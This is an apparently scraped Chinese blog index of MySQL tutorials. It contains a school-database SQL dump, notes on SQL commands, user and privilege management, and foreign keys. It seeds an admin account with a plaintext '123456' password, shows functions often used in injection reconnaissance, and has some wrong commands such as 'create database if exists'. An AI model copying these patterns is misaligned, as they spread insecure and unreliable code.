');-- ------------------------------ Table structure for suser-- ----------------------------DROP TABLE IF EXISTS `suser`;CREATE TABLE `suser` ( `username` varchar(10) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `password` varchar(10) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `userlevel` varchar(1) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of suser-- ----------------------------INSERT INTO `suser` VALUES ('admin ', '123456 ', '1');-- ------------------------------ Table structure for teacher-- ----------------------------DROP TABLE IF EXISTS `teacher`;CREATE TABLE `teacher` ( `Tno` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `Tname` longtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL, `Tsex` varchar(2) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `Tbirthday` datetime NULL DEFAULT NULL, `Tdept` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, PRIMARY KEY (`Tno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of teacher-- ----------------------------INSERT INTO `teacher` VALUES ('101', '李新', '男', '1977-01-12 00:00:00', 'd02');INSERT INTO `teacher` VALUES ('102', '钱军', '女', '1968-06-04 00:00:00', 'd02');INSERT INTO `teacher` VALUES ('103', '刘静', '女', '1965-01-21 00:00:00', 'd02');INSERT INTO `teacher` VALUES ('104', '王大强', '男', '1956-03-23 00:00:00', 'd02');INSERT INTO `teacher` VALUES ('201', '刘伟', '男', '1964-01-01 00:00:00', 'd01');INSERT INTO `teacher` VALUES ('202', '王心仪', '女', '1966-09-17 00:00:00', 'd01');INSERT INTO `teacher` VALUES ('203', '李俊杰', '男', '1968-04-24 00:00:00', 'd01');INSERT INTO `teacher` VALUES ('301', '张平国', '男', '1967-12-01 00:00:00', 'd04');INSERT INTO `teacher` VALUES ('302', '任平', '女', '1978-05-07 00:00:00', 'd04');INSERT INTO `teacher` VALUES ('303', '马丽', '女', '1981-07-05 00:00:00', 'd04');INSERT INTO `teacher` VALUES ('304', '顾小朋', '男', '1984-08-01 00:00:00', 'd04');INSERT INTO `teacher` VALUES ('401', '王东玲', '女', '1963-12-01 00:00:00', 'd05');INSERT INTO `teacher` VALUES ('402', '李从陈', '男', '1969-09-07 00:00:00', 'd05');INSERT INTO `teacher` VALUES ('403', '刘栋', '男', '1982-04-29 00:00:00', 'd05');INSERT INTO `teacher` VALUES ('501', '张式朋', '男', '1978-06-11 00:00:00', 'd03');INSERT INTO `teacher` VALUES ('502', '王月', '女', '1973-09-03 00:00:00', 'd03');INSERT INTO `teacher` VALUES ('503', '王小花', '女', '1962-01-28 00:00:00', 'd03');INSERT INTO `teacher` VALUES ('601', '张青', '女', '1968-01-01 00:00:00', 'd06');INSERT INTO `teacher` VALUES ('602', '孙亮', '男', '1977-05-21 00:00:00', 'd06');-- ------------------------------ Table structure for teaching-- ----------------------------DROP TABLE IF EXISTS `teaching`;CREATE TABLE `teaching` ( `cno` varchar(4) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `tno` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `cterm` tinyint(4) NULL DEFAULT NULL, PRIMARY KEY (`cno`, `tno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of teaching-- ----------------------------INSERT INTO `teaching` VALUES ('a01 ', '403', 1);INSERT INTO `teaching` VALUES ('a02 ', '601', 1);INSERT INTO `teaching` VALUES ('b01 ', '202', 2);INSERT INTO `teaching` VALUES ('b02 ', '201', 3);INSERT INTO `teaching` VALUES ('c01 ', '101', 2);INSERT INTO `teaching` VALUES ('c02 ', '102', 1);INSERT INTO `teaching` VALUES ('c03 ', '201', 3);INSERT INTO `teaching` VALUES ('c04 ', '503', 1);INSERT INTO `teaching` VALUES ('c05 ', '503', 2);INSERT INTO `teaching` VALUES ('c10 ', '501', 3);INSERT INTO `teaching` VALUES ('c11 ', '103', 5);SET FOREIGN_KEY_CHECKS = 1; MySQL–常用命令了解SQL什么是SQLStructured Query Languange:结构化查询语言 其实就是定义了操作所有关系型数据库的规则.每一种数据库操作的方式存在不一样的地方,称为”方 言”. SQL语句的编写规则与注释 语句书写: SQL语句可以单行或多行书写,每句的结束都应该以分号(;)结尾. 为了提高可读性,可以适当使用空格和缩进. 大小写敏感性: MySQL数据库中的SQL语言关键词不区分大小写,但出于可读性和编写规范考虑,建议将关键词使用大写形式. 注释方法: 单行注释 使用两个连字符后跟空格来注释内容(-- 注释内容),这是MySQL特有的注释方式. 使用井号(#注释内容),这也是MySQL特有的注释方式. 多行注释 使用/* 注释内容 */来注释多行,这是标准SQL的注释方式. SQL分类 DDL (Data Definition Language) - 数据定义语言 用于定义数据库对象,如数据库、表、列等. 关键字包括:CREATE, DROP, ALTER, SHOW, USE等. DML (Data Manipulation Language) - 数据操作语言 用于对数据库中表的数据进行增加、删除、修改. 关键字包括:INSERT, DELETE, UPDATE等. DQL (Data Query Language) - 数据查询语言 用于查询数据库中表的记录(数据). 关键字包括:SELECT, WHERE等. DCL (Data Control Language) - 数据控制语言(了解) 用于定义数据库的访问权限和安全级别,以及创建用户. 关键字包括:GRANT, REVOKE等. 操作数据库数据库操作123456789create database 数据库名称; -- 创建数据库create database if exists 数据库名称; -- 判断数据库存在,存在再创建show databases; -- 显示数据库drop database 数据库名称; -- 删除数据库drop database if exists 数据库名称; -- 判断数据库存在,存在再删除show create database 数据库名称; -- 查询某个数据库的字符集alter database 数据库名称 character set utf8; -- 修改数据库的字符集将GBK改成utf8select database(); -- 查询当前正在使用的数据库名称use 数据库名称; -- 使用数据库 表操作1234567show tables; -- 查看表 默认一个新的数据库下面的表是空的create table student(id int,name varchar(37),age int); -- 创建一个表,在创建一个数据表的时候,必须加上列名和数据类型,不然会报错desc student; -- 查看列alter table student rename to xtd; -- 修改表名alter table 表名 character set 字符集名称; -- 修改表的字符集drop table 表名; -- 删除表drop table if exists 表名; -- 先判断再删除 数据类型 序号 数据类型 描述 格式示例 1 int 整数类型 - 2 double 小数类型 - 3 date 日期类型(只包含年月日) yyyy-MM-dd 4 datetime 日期类型(包含年月日时分秒) yyyy-MM-dd HH:mm:ss 5 timestamp 时间类型(包含年月日时分秒) yyyy-MM-dd HH:mm:ss 6 varchar 字符串类型 - 列操作12345desc student; -- 查看列alter table student add hight varchar(49); -- 在表中新添加一列alter table student change id ip int; -- 修改列名称 类型alter table abc01 modify ip varchar(89); -- 使用modify去修改列的类型alter table 表名 drop 列名; -- 删除列 数据操作字符串建议使用单引号 123456789101112insert into 表名(列名1,列名2,...列名n) values(值1,值2,...值n); -- 这里的列名可以不加,如果不加的话,后面的值就需要匹配所有的列,如果加列名,后面的值需要一一匹配;-- insert into student values("1","张三",18,"180");-- insert into student values("2","李四",19,"181"),("3","王二",18,"170"),("4","麻子",19,"177");select * from student; -- 查询表中所有数据-- select name from student;delete from 表名 where 判断; -- 删除选定列中的值-- delete from student where ip='1';-- delete from student where age=19;-- delete from student where name="王二";update 表名 set 列名1 = 值1,列名2 = 值2,...[where 条件]; -- 修改数据-- update student set hight='185' where ip='2'; -- 将学生表中ip为2的身高改为185select distinct name from student; -- 查询过滤重复后的数据 常量1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556-- 常用的数据库常量mysql> Select @@version_compile_os; -- 操作系统+----------------------+| @@version_compile_os |+----------------------+| Win64 |+----------------------+1 row in set (0.00 sec)mysql> Select @@tmpdir; -- 查看临时目录+-----------------------------------+| @@tmpdir |+-----------------------------------+| C:\\Users\\admin\\AppData\\Local\\Temp |+-----------------------------------+1 row in set (0.00 sec)mysql> Select @@datadir; -- 数据存放的位置+-------------------------------------------------------+| @@datadir |+-------------------------------------------------------+| D:\\Software\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\ |+-------------------------------------------------------+1 row in set (0.00 sec)mysql> Select @@basedir; -- 数据库服务所在位置+--------------------------------------------------+| @@basedir |+--------------------------------------------------+| D:\\Software\\phpstudy_pro\\Extensions\\MySQL5.7.26\\ |+--------------------------------------------------+1 row in set (0.00 sec)mysql> Select user(); -- 查看当前用户名+----------------+| user() |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)mysql> Select database(); -- 数据库名+------------+| database() |+------------+| wordpress |+------------+1 row in set (0.00 sec)mysql> Select version(); -- 获取当前版本号+-----------+| version() |+-----------+| 5.7.26 |+-----------+1 row in set (0.00 sec) 常用函数123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115group_concat() -- 将多条数据拼接为一条mysql> select group_concat(database(),0x5c,version());+-----------------------------------------+| group_concat(database(),0x5c,version()) |+-----------------------------------------+| wordpress\\5.7.26 |+-----------------------------------------+1 row in set (0.00 sec)CHAR(ASCII) -- 返回ASCII码对应的字符mysql> select CHAR(65);+----------+| CHAR(65) |+----------+| A |+----------+1 row in set (0.00 sec)ASCII(字符) -- 返回字符对应的ASCII码mysql> select ASCII('A');+------------+| ASCII('A') |+------------+| 65 |+------------+1 row in set (0.00 sec)MID(要截取的字符串,起始位置,截取长度) -- 截取字符串mysql> select mid('www.baidu.com',5,5);+--------------------------+| mid('www.baidu.com',5,5) |+--------------------------+| baidu |+--------------------------+1 row in set (0.00 sec)SUBSTR(要截取的字符串,起始位置,截取长度) -- 截取字符串mysql> select substr('www.baidu.com',5,5);+-----------------------------+| substr('www.baidu.com',5,5) |+-----------------------------+| baidu |+-----------------------------+1 row in set (0.00 sec)LENGTH(字符串) -- 返回字符串长度mysql> select length('www.baidu.com');+-------------------------+| length('www.baidu.com') |+-------------------------+| 13 |+-------------------------+1 row in set (0.00 sec)left(pa1,pa2) -- pa1被截取的字符串,从左开始截取,pa2是截取的位数mysql> select left('www.baidu.com',3);+-------------------------+| left('www.baidu.com',3) |+-------------------------+| www |+-------------------------+1 row in set (0.00 sec)right(pa1,pa2) -- pa1被截取的字符串,从右开始截取,pa2是截取的位数mysql> select right('www.baidu.com',3);+--------------------------+| right('www.baidu.com',3) |+--------------------------+| com |+--------------------------+1 row in set (0.00 sec)count() -- 聚集函数,统计元祖的个数mysql> select count(*) from users;+----------+| count(*) |+----------+| 13 |+----------+1 row in set (0.01 sec)rand() -- 用于产生一个0~1的随机数mysql> select rand();+-------------------+| rand() |+-------------------+| 0.663754786982904 |+-------------------+1 row in set (0.00 sec)mysql> select rand();+--------------------+| rand() |+--------------------+| 0.8483548628616657 |+--------------------+1 row in set (0.00 sec)floor() -- 向下取整mysql> select floor(1.882);+--------------+| floor(1.882) |+--------------+| 1 |+--------------+1 row in set (0.00 sec)sleep() -- 休眠mysql> select sleep(5);+----------+| sleep(5) |+----------+| 0 |+----------+1 row in set (5.01 sec) 其他排序查询 1234567select * from student order by ip;-- 默认是正序排序,如果加上desc就可以进行反序的排序--select * from student order by ip desc;select * from student where ip>=2 and ip<=4 order by ip;/*注意:如果有多个排序条件,则当前的条件值正确时,才会判断第二条件.*/ 聚合函数 123456789101112131415select count(*) as age from student; -- 计算表student中的age的个数是多少个,默认去掉NULL值;/*1.count:计算个数 1. 一般选择非空的列:主键 2. count(*)2.max:计算最大值3.min:计算最小值4.sum:计算和5.avg:计算平均值*//*注意:聚合函数的计算,排除null值.解决方案:1. 选择不包含空的列进行计算2. IFNULL函数*/ 分组查询 123456789select age,count(*) as num from student group by age; -- 分组查询相同年龄的个数 /* 注意:1.分组之后查询的字段:分组字段、聚合函数2.where 和 having的区别?1. where 在分组之前进行限定,如果不满足条件,则不参与分组.having在分组之后进行限定,如果不满足结果,则不会被查询出来2. where 后不可以跟聚合函数,having可以进行聚合函数的判断.*/ 分页查询 1234567SELECT * FROM student LIMIT 5; -- 查询学生表5条数据SELECT * FROM student LIMIT 0,5; -- 查询学生表5条数据SELECT * FROM student LIMIT 1,4; -- 查询学生表第1条之后的4条数据/*1)limit a,b 后缀两个参数的时候(参数必须是一个整数常量),其中a是指记录开始的偏移量,b是指从第a+1条开始,取b条记录.(这里计数就是从id=1开始的没有从0开始)2)limit b 后缀一个参数的时候,是直接取值到第多少位,类似于:limit 0,b .*/ 用户管理MySQL 权限表MySQL在安装时会自动创建一个名为mysql的数据库.这个数据库中包含重要的用户权限表,这些表定义了用户的权限: user表 和 db表 是两个关键的权限表: user表记录了可以连接到MySQL服务器的账户信息. db表存储了用户对特定数据库的操作权限. 在user表中激活的权限是全局级别的,适用于所有数据库. db表中的权限则是数据库级别的,针对用户对某个数据库的权限而设置. user表中的字段分类 用户列:存储了用户登录的主机名和账号密码. 权限列:定义了用户在全局范围内对数据和数据库的操作权限. 安全列:用于判断用户是否可以成功登录. 资源控制列:限制用户使用的资源,如每小时的查询次数、更新次数和连接次数等. 创建用户123456789101112131415161718-- 创建普通用户(两种方式)-- 1.1 密码无加密create user username@hostname identified by 'password';-- create user test@127.0.0.1 identified by 'test';-- 1.2 密码加密select password('test'); -- 获取哈希值-- 94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29-- create user test@127.0.0.1 identified by password'*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29';-- username是用户名,host_name为主机名,若不加主机名,表示对所有主机开放权限.初始用户可不设置密码,若该用户不设密码可忽略identified by,PASSWORD 表示使用哈希值设置密码,该参数可选.-- 使用 CREATE USER 语句必须拥有 mysql 数据库的 INSERT 权限或全局 CREATE USER 权限.-- CREATE USER 语句可以同时创建多个用户,多个用户用逗号隔开.INSERT INTO mysql.user(Host, User, authentication_string, ssl_cipher, x509_issuer, x509_subject) VALUES ('hostname', 'username', PASSWORD('password'), '', '', '');FLUSH PRIVILEGES; -- 使用 FLUSH 命令让用户生效-- 使用该语句必须拥有对 mysql.user 表的 INSERT 权限-- 创建用户,并授予权限GRANT priv_type ON database.table TO user [IDENTIFIED BY [PASSWORD] 'password']-- grant select on *.* to test1@localhost identified by 'test1';-- database.table 参数表示新用户的权限范围 查看用户1234567SELECT user FROM mysql.user;-- 查询所有用户-- 要执行上面这个查询,必须以管理员身份登录select user();-- 查看当前用户信息SELECT user,host,db,command FROM information_schema.processlist;-- 查询当前登录用户的信息,防止黑客号登录 修改用户12345678910修改账号:RENAME USER <旧用户账号> TO <新用户账号>rename user test to test2-- 若系统中旧账户不存在或者新账户已存在,该语句执行时会出现错误.-- 使用 RENAME USER 语句,必须拥有 mysql 数据库的 UPDATE 权限或全局 CREATE USER 权限.修改密码:SET PASSWORD = PASSWORD('test1');-- 使用 SET 语句将密码更改为"test1"-- set password = 'test1' 删除用户12345678910两种方法:1.-- DROP USER <用户1>,<用户2>...drop user test1@localhost,test@127.0.0.1;-- 必须拥有 mysql 数据库的 DELETE 权限或全局 CREATE USER 权限.-- 在 DROP USER 语句的使用中,若没有明确地给出账户的主机名,则该主机名默认为"%".-- 用户的删除不会影响他们之前所创建的表、索引或其他数据库对象,因为 MySQL 并不会记录是谁创建了这些对象.2.DELETE FROM mysql.user WHERE Host='hostname' AND User='username';-- 必须拥有 mysql.user 表的 DELETE 权限. 权限MySQL通过不同的权限表来实现细粒度的权限控制.以下是各个级别的权限表及其作用: user - 全局级别权限 适用于所有数据库的权限. 控制用户的基本权限,如登录服务器等. db - 数据库级别权限 针对单个数据库的权限. 允许用户对特定数据库执行操作. tables_priv - 表级别权限 控制用户在特定数据库表上的操作. 包括增删改查等基本表操作权限. columns_priv - 列级别的权限 针对表中的列设置的权限. 可以对单独的列进行权限控制. procs_priv - 存储过程和函数的权限 管理用户对存储过程和函数的执行权限. 控制调用和管理存储过程的能力. 1234567891011121314151617181920212223242526272829303132333435363738394041421.查看用户权限select * from mysql.user;-- 必须拥有对 user 表的查询权限.show grants for 'username'@'hostname';show grants for test@localhost;-- 返回 GRANT USAGE ON *.* TO 'test'@'localhost' 代表无权限在所有数据库中-- 对比root返回 GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION2.授予用户权限GRANT priv_type [(column_list)] ON database.tableTO user [IDENTIFIED BY [PASSWORD] 'password'][, user[IDENTIFIED BY [PASSWORD] 'password']] ...[WITH with_option [with_option]...]-- 拥有grant权限的用户才能使用grant/***GRANT SELECT,INSERT ON *.* TO test@localhost IDENTIFIED BY 'test' WITH GRANT OPTION;***//*** *:表示当前数据库中的所有表. *.*:表示所有数据库中的所有表. db_name.*:表示某个数据库中的所有表,db_name 指定数据库名. db_name.tbl_name:表示某个数据库中的某个表或视图,db_name 指定数据库名,tbl_name 指定表名或视图名. db_name.routine_name:表示某个数据库中的某个存储过程或函数,routine_name 指定存储过程名或函数名. TO 子句:如果权限被授予给一个不存在的用户,MySQL 会自动执行一条 CREATE USER 语句来创建这个用户,但同时必须为该用户设置密码.***/3.删除用户权限(1)REVOKE priv_type [(column_list)]...ON database.tableFROM user [, user]...-- 删除用户某些特定的权限(2)REVOKE ALL PRIVILEGES, GRANT OPTION FROM user [, user] ...-- 删除特定用户的所有权限revoke all privileges,grant option from test@localhost; root用户操作1234567891011121314151617181920211.修改普通用户密码:(1)set 语句SET PASSWORD FOR 'username'@'hostname' = PASSWORD ('newpwd');set password for test@localhost = 'test1';-- 普通用户自己修改密码 SET PASSWORD = PASSWORD('test1');(2)update 语句UPDATE MySQL.user SET authentication_string = PASSWORD("newpwd") WHERE User = "username" AND Host = "hostname";-- 执行 UPDATE 语句后,需要执行 flush privileges语句重新加载用户权限(3)grant 语句GRANT USAGE ON *.* TO 'user'@'hostname' IDENTIFIED BY 'newpwd';-- 使用 GRANT 语句修改密码,必须拥有 GRANT 权限(usage 无权限且权限不能被回收,也即REVOKE用户并不能删除用户)-- 也可创建用户并赋予权限2.修改root用户密码:(1)mysqladmin 语句mysqladmin -u username -h hostname -p password "xtd"-- 必须用双引号括起来,如果使用单引号会引发错误.-- mysqladmin -u root -h localhost -p password "xtd"(2)SET PASSWORD 语句SET PASSWORD = PASSWORD("xtd");-- set password = password("xtd")-- 可以双引号也可以单引号 约束概念约束是定义在数据库表的字段上的一系列规则,它们用于: 限制被存储在字段中的数据类型或值. 确保数据的一致性和符合逻辑的关系. 目的主要目的是: 数据正确性:确保用户输入的数据满足预定义的标准. 数据有效性:只有符合约束条件的数据才能被接受进入数据库. 数据完整性:维护数据的完整性,防止错误数据的产生. 分类 约束是作用于表中字段上的,可以在创建表/修改表的时候添加约束 约束演示上面我们介绍了数据库中常见的约束,以及约束涉及到的关键字,那这些约束我们到底如何在创建表、 修改表的时候来指定呢,接下来我们就通过一个案例,来演示一下. 案例需求:根据需求,完成表结构的创建。 需求如下: 对应的建表语句为: 1234567CREATE TABLE tb_user( id int AUTO_INCREMENT PRIMARY KEY COMMENT 'ID唯一标识', name varchar(10) NOT NULL UNIQUE COMMENT '姓名' , age int check (age > 0 && age <= 120) COMMENT '年龄' , status char(1) default '1' COMMENT '状态', gender char(1) COMMENT '性别' ); 在为字段添加约束时,我们只需要在字段之后加上约束的关键字即可,需要关注其语法.我们执行上面的SQL把表结构创建完成,然后接下来,就可以通过一组数据进行测试,从而验证一下,约束是否可以生效. 1234567891011121314151617-- 一条语句插入多个用户INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom1', 19, '1', '男'), ('Tom2', 25, '0', '男');-- 每次插入一个用户INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom3', 19, '1', '男');-- 如果 name 列不允许 NULL,则这条语句会失败-- INSERT INTO tb_user (name, age, status, gender) VALUES (NULL, 19, '1', '男');INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom3', 19, '1', '男');INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom4', 80, '1', '男');-- 如果 age 列有 CHECK 约束只允许正数,则这条语句会失败-- INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom5', -1, '1', '男');-- 如果 age 列有 CHECK 约束限制年龄不超过 120,则这条语句会失败-- INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom5', 121, '1', '男');-- 假设 status 列允许 NULL 或有默认值INSERT INTO tb_user (name, age, gender) VALUES ('Tom5', 120, '男'); 上面,我们是通过编写SQL语句的形式来完成约束的指定,那加入我们是通过图形化界面来创建表结构时,又该如何来指定约束呢? 只需要在创建表的时候,根据我们的需要选择对应的约束即可. 外键约束介绍外键:用来让两张表的数据之间建立连接,从而保证数据的一致性和完整性.我们来看一个例子: 员工信息表(emp)概述:emp 表是一个员工表,它包含了员工的基本信息.字段信息:字段名数据类型描述IDint员工的唯一标识姓名varchar员工的姓名年龄int员工的年龄职位varchar员工的职位薪资decimal员工的薪资入职日期date员工的入职日期上级主管IDint上级主管的员工ID部门IDint员工所属部门的ID关联信息:dept_id 字段是一个外键,它关联到 dept 表的主键 id.部门表(dept)概述: dept 表存储部门的详细信息.字段信息:字段名数据类型描述idint部门的唯一标识……… 注意事项 尽管 emp 表的 dept_id 在逻辑上关联到 dept 表的主键 id,当前数据库结构未实际建立外键约束. 因此: 数据库层面无法自动保证数据的一致性和完整性. 需要手动处理数据关联和完整性问题. 没有数据库外键关联的情况下,能够保证一致性和完整性呢,我们来测试一下.准备数据 12345678910111213141516171819202122232425262728293031323334-- 创建部门表 deptCREATE TABLE dept ( id INT AUTO_INCREMENT COMMENT 'ID' PRIMARY KEY, name VARCHAR(50) NOT NULL COMMENT '部门名称') COMMENT '部门表';-- 向部门表插入数据INSERT INTO dept (name) VALUES ('研发部'), ('市场部'),('财务部'), ('销售部'), ('总经办');-- 创建员工表 empCREATE TABLE emp ( id INT AUTO_INCREMENT COMMENT 'ID' PRIMARY KEY, name VARCHAR(50) NOT NULL COMMENT '姓名', age INT COMMENT '年龄', job VARCHAR(20) COMMENT '职位', salary INT COMMENT '薪资', entrydate DATE COMMENT '入职时间', managerid INT COMMENT '直属领导ID', dept_id INT COMMENT '部门ID') COMMENT '员工表';-- 向员工表插入数据INSERT INTO emp (name, age, job, salary, entrydate, managerid, dept_id) VALUES ('金庸', 66, '总裁', 20000, '2000-01-01', NULL, 5),('张无忌', 20, '项目经理', 12500, '2005-12-05', 1, 1),('杨逍', 33, '开发', 8400, '2000-11-03', 2, 1),('韦一笑', 48, '开发', 11000, '2002-02-05', 2, 1),('常遇春', 43, '开发', 10500, '2004-09-07', 3, 1),('小昭', 19, '程序员鼓励师', 6600, '2004-10-12', 2, 1); 接下来,我们可以做一个测试,删除id为1的部门信息 结果,我们看到删除成功,而删除成功之后,部门表不存在id为1的部门,而在emp表中还有很多的员工,关联的为id为1的部门,此时就出现了数据的不完整性. 而要想解决这个问题就得通过数据库的外键约束. 语法添加外键创建一个新表,并希望在创建时定义外键约束的语法如下: 12345CREATE TABLE 表名 ( 字段名 数据类型, ... CONSTRAINT 外键名称 FOREIGN KEY (外键字段名) REFERENCES 主表 (主表列名)); 若要为已存在的表添加外键约束,则使用 ALTER TABLE 语句: 12ALTER TABLE 表名ADD CONSTRAINT 外键名称 FOREIGN KEY (外键字段名) REFERENCES 主表 (主表列名); 根据您提供的案例,为 emp 表的 dept_id 字段添加外键约束,关联 dept 表的主键 id,语句应该格式化如下: 12ALTER TABLE empADD CONSTRAINT fk_emp_dept_id FOREIGN KEY (dept_id) REFERENCES dept(id); 这个 ALTER TABLE 语句的意义是: ALTER TABLE emp 表示要修改的是名为 emp 的表. ADD CONSTRAINT fk_emp_dept_id 是在 emp 表上添加一个新的约束,并且给这个约束命名为 fk_emp_dept_id. FOREIGN KEY (dept_id) 表示约束类型是外键,且外键列是 emp 表中的 dept_id. REFERENCES dept(id) 指定外键 dept_id 引用 dept 表的 id 列.这里假设 dept 表的 id 列是主键列. 确保在执行这个 ALTER TABLE 语句之前,dept 表已经存在,且 dept 表中有名为 id 的列,该列为主键或至少具有唯一约束.同时,emp 表中的 dept_id 列的数据类型应与 dept 表中的 id 列相匹配. 添加了外键约束之后,我们再到dept表(父表)删除id为1的记录,然后看一下会发生什么现象. 此时将会报错,不能删除或更新父表记录,因为存在外键约束. 删除外键123ALTER TABLE 表名 DROP FOREIGN KEY 外键名称;-- 案例:删除emp表的外键fk_emp_dept_id.alter table emp drop foreign key fk_emp_dept_id; 删除/更新行为添加了外键之后,再删除父表数据时产生的约束行为,我们就称为删除/更新行为.具体的删除/更新行为有以下几种: 123456789101112131415161718-- 语法ALTER TABLE 表名ADD CONSTRAINT 外键名称FOREIGN KEY (外键字段)REFERENCES 主表名 (主表字段名)ON UPDATE CASCADEON DELETE CASCADE;-- 将 emp 表的 dept_id 字段添加为外键,并设置级联更新以及级联删除的语句ALTER TABLE empADD CONSTRAINT fk_emp_dept_idFOREIGN KEY (dept_id)REFERENCES dept(id)ON UPDATE CASCADEON DELETE CASCADE;-- 修改父表id为1的记录,将id修改为6UPDATE dept SET id = 6 WHERE id = 1; 这个语句的意义是: ALTER TABLE emp 表示要修改的是名为 emp 的表. ADD CONSTRAINT fk_emp_dept_id 是在 emp 表上添加一个新的约束,并且给这个约束命名为 fk_emp_dept_id. FOREIGN KEY (dept_id) 表示约束类型是外键,且外键列是 emp 表中的 dept_id. REFERENCES dept(id) 指定外键 dept_id 引用 dept 表的 id 列,且 dept 表的 id 应该是主键或具有唯一性约束. ON UPDATE CASCADE 表示如果 dept 表中的 id 列发生变化,将自动更新 emp 表中的对应 dept_id 字段. ON DELETE CASCADE 表示如果从 dept 表中删除了某条记录,将自动删除 emp 表中所有 dept_id 与该记录 id 相匹配的行. 我们发现,原来在子表中dept_id值为1的记录,现在也变为6了,这就是cascade级联的效果.在一般的业务系统中,不会修改一张表的主键值 12-- 删除父表id为6的记录DELETE FROM dept WHERE id = 6; 我们发现,父表的数据删除成功了,但是子表中关联的记录也被级联删除了. SET NULL 首先,我们需要删除已经存在的外键约束 fk_emp_dept_id 1ALTER TABLE emp DROP CONSTRAINT fk_emp_dept_id; 接下来,我们通过数据脚本将 emp 和 dept 表的数据恢复到所需状态. 随后,我们再次添加新的外键约束 fk_emp_dept_id,这次设置 ON UPDATE SET NULL 和 ON DELETE SET NULL 123456ALTER TABLE empADD CONSTRAINT fk_emp_dept_idFOREIGN KEY (dept_id)REFERENCES dept(id)ON UPDATE SET NULLON DELETE SET NULL; 执行了以上步骤后,外键的行为已经改变.现在,当从 dept 表中删除 id 为 1 的记录时,所有在 emp 表中 dept_id 为 1 的记录的 dept_id 字段会被设置为 NULL.这标明这些 emp 记录现在不再关联到任何 dept 表中的记录. 我们可以使用下面的 SQL 命令来删除 dept 表中 id 为 1 的记录: 1DELETE FROM dept WHERE id = 1; 删除操作执行后,由于设置了 ON DELETE SET NULL 约束,所有在 emp 表中引用 dept 表 id 为 1 的 dept_id 字段的值会被设置为 NULL. 在执行这样的操作之前,请确保子表的外键列允许 NULL 值.如果外键列被定义为 NOT NULL,则尝试将其设置为 NULL 将会引发错误. 我们发现父表的记录是可以正常的删除的,父表的数据删除之后,再打开子表 emp,我们发现子表emp 的dept_id字段,原来dept_id为1的数据,现在都被置为NULL了. 这就是SET NULL这种删除/更新行为的效果.","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"Linux-MySQL从入门到精通(上)","path":"/2024/01/29/2e455f59/","content":"总字符数: 4.44K 代码: 0.42K, 文本: 2.22K 预计阅读时间: 11 分钟 简介 ​\tMySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一. 信息与数据信息 信息(Information)就是对各种事物的存在方式、运动状态和相互联系特征的一种表达和陈述,是自然界、人类社会和人类思维活动普遍存在的一切物质和事物的属性,它存在于人们的周围. 数据 数据(Data)是用来记录信息的可识别的符号,是信息的具体表现形式.数据用型和值来表示,数据的型是指数据内容存储在媒体上的具体形式;值是指所描述的客观事物的具体特性.如一个人的身高可以表示为”1.80”或”1米8”,其中”1.80”和”1米8”是值,但这两个值的型是不一样的,一个用数字来描述,而另一个用字符来描述.数据不仅包括数字、文字形式,而且还包括图形、图像、声音、动画等多媒体数据. 数据处理 数据处理是指将数据转换成信息的过程,也称信息处理. 数据处理的内容主要包括数据的收集、组织、整理、存储、加工、维护、查询和传播等一系列活动 数据处理的目的是从大量的数据中,根据数据自身的规律和它们之间固有的联系,通过分析、归纳、推理等科学手段,提取出有效的信息资源. 数据处理的工作分为以下3个方面. 数据管理.主要任务是收集信息,将信息用数据表示并按类别组织保存. 数据加工.主要任务是对数据进行变换、抽取和运算. 数据传播.通过数据传播,信息在空间或时间上以各种形式传递. 现实世界现实世界是存在于人们头脑之外的客观世界.现实世界存在各种事物,事物与事物之间存在联系,这种联系是由事物本身的性质决定的.例如,学校中有教师、学生、课程,教师为学生授课,学生选修课程并取得成绩;图书馆中有图书、管理员和读者,读者借阅图书,管理员对图书和读者进行管理等. 信息世界 实体(Entity):客观存在并且可以相互区别的事物称为实体.实体可以是具体的事物,也可以是抽象的事件. 属性(Attribute):描述实体的特性.一个实体可以用若干个属性来描述. 码(Key):唯一标识实体的属性或属性的组合. 域(Domain):属性的取值范围称为该属性的域. 联系(Relationship) 在现实世界中,事物内部以及事物之间是有联系的,这些联系在信息世界中反映为实体(型)内部的联系和实体(型)之间的联系.实体内部的联系通常是指组成实体的各属性之间的联系;实体之间的联系通常是指不同实体集之间的联系.两个实体型之间的联系可以分为3类. 一对一联系(One-to-One Relationship) 一对多联系(One-to-Many Relationship) 多对多联系(Many-to-Many Relationship) 数据世界 